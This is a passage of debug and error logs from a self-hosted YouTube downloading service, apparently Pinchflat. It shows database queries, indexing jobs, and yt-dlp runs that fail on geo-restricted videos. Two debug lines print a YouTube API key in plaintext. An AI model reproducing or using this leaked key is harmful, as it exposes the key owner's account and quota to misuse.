m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 17:37:40.673 [debug] QUERY OK source="media_items" db=0.4ms idle=148.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:37:40.674 [debug] QUERY OK source="tasks" db=0.1ms idle=149.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800259, 23, ~U[2026-02-10 23:37:40Z], ~U[2026-02-10 23:37:40Z]] 17:37:40.675 [info] {"args":{"id":23},"id":3800221,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":150925,"event":"job:stop","queue_time":515993,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:41.899 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0b/27/0b2795158431d19cd38fbd53eff8bdc479bd9b1ce9b6273308bd6a6e446371c5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:37:41.899 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:37:41.899 [debug] QUERY OK source="settings" db=0.1ms idle=380.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:41.900 [debug] QUERY OK source="settings" db=0.0ms idle=21.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:41.900 [debug] Running yt-dlp command for action: get_media_attributes 17:37:41.902 [debug] QUERY OK source="settings" db=0.1ms idle=23.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:41.902 [debug] QUERY OK source="settings" db=0.0ms idle=23.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:41.902 [debug] QUERY OK source="settings" db=0.0ms idle=23.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:41.902 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/36/b4/36b4522aaa9df5e4d57dc196644007e4ed4b4e0fd725915aa6d0c511167436ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:37:42.525 [info] {"args":{"id":34},"id":3800222,"meta":{},"system_time":1770766662525877287,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:42.526 [debug] QUERY OK source="sources" db=0.1ms idle=623.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:37:42.526 [debug] QUERY OK source="settings" db=0.1ms idle=623.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:42.526 [debug] QUERY OK source="media_profiles" db=0.1ms idle=624.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:42.526 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:42.526 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:37:42.527 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:42.527 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:42.729 [debug] QUERY OK source="media_items" db=0.6ms idle=202.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:37:42.730 [debug] QUERY OK source="media_items" db=0.9ms idle=203.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:37:42.731 [debug] QUERY OK source="tasks" db=0.1ms idle=204.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800260, 34, ~U[2026-02-10 23:37:42Z], ~U[2026-02-10 23:37:42Z]] 17:37:42.731 [info] {"args":{"id":34},"id":3800222,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":205632,"event":"job:stop","queue_time":518944,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:42.737 [info] {"args":{"id":10},"id":3800223,"meta":{},"system_time":1770766662737654522,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:42.737 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:37:42.738 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:42.738 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:42.738 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:42.738 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:37:42.738 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:42.738 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:42.838 [debug] QUERY OK source="media_items" db=0.7ms idle=99.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 17:37:42.841 [debug] QUERY OK source="media_items" db=2.4ms idle=100.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:37:42.842 [debug] QUERY OK source="tasks" db=0.1ms idle=103.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800261, 10, ~U[2026-02-10 23:37:42Z], ~U[2026-02-10 23:37:42Z]] 17:37:42.842 [info] {"args":{"id":10},"id":3800223,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":104635,"event":"job:stop","queue_time":612469,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:43.292 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/36/b4/36b4522aaa9df5e4d57dc196644007e4ed4b4e0fd725915aa6d0c511167436ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, 